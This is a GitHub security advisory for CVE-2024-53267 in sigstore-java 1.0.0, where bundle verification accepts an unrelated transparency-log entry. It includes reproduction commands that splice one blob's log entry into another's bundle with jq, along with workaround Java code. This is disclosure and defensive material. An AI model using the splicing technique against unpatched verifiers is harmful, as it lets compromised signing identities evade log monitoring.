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sigstore-java has vulnerability with bundle verification

Moderate severity GitHub Reviewed Published Nov 26, 2024 in sigstore/sigstore-java • Updated Nov 26, 2024

Package

maven dev.sigstore:sigstore-java (Maven)

Affected versions

= 1.0.0

Patched versions

1.1.0

Description

Summary

sigstore-java has insufficient verification for a situation where a validly-signed but "mismatched" bundle is presented as proof of inclusion into a transparency log

Impact

This bug impacts clients using any variation of KeylessVerifier.verify()

The verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby "verifying" a bundle without any proof the signing event was logged.

This allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors.

The signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.

sigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.

Steps To Reproduce

Build the java sigstore-cli at v1.0.0

git clone --branch v1.0.0 git@github.com:sigstore/sigstore-java
cd sigstore-java
./gradlew :sigstore-cli:build
tar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1

Create two random blobs

dd bs=1 count=50 </dev/urandom > blob1
dd bs=1 count=50 </dev/urandom > blob2

Sign each blob using the cli

./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1
./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2

Create a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle

jq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json

Find the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.

cat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value'

sha256sum blob1 blob2

Verify the bundle against blob1

./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1
# no errors???!

Patches

Patched in v1.1.0 release with sigstore/sigstore-java#856
Added conformance test for all clients in: sigstore/sigstore-conformance#166

Workarounds

  1. Verifiers can recreate the log entry and compare it to the provided log entry.
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF);
var rekorEntry = bundle.getEntries().get(0)
var calculatedHashedRekord =
    Base64.toBase64String(
        HashedRekordRequest.newHashedRekordRequest(
               artifactDigest, Certificates.toPemBytes(leafCert), signature)
            .toJsonPayload()
            .getBytes(StandardCharsets.UTF_8));
if (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {
  throw new Exception("Provided verification materials are inconsistent with log entry");
}
  1. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF);
var artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();
var sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();
var trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);
var entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());
RekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);

References

@loosebazooka loosebazooka published to sigstore/sigstore-java Nov 26, 2024
Published to the GitHub Advisory Database Nov 26, 2024
Reviewed Nov 26, 2024
Published by the National Vulnerability Database Nov 26, 2024
Last updated Nov 26, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-53267

GHSA ID

GHSA-q4xm-6fjc-5f6w

Source code

Credits

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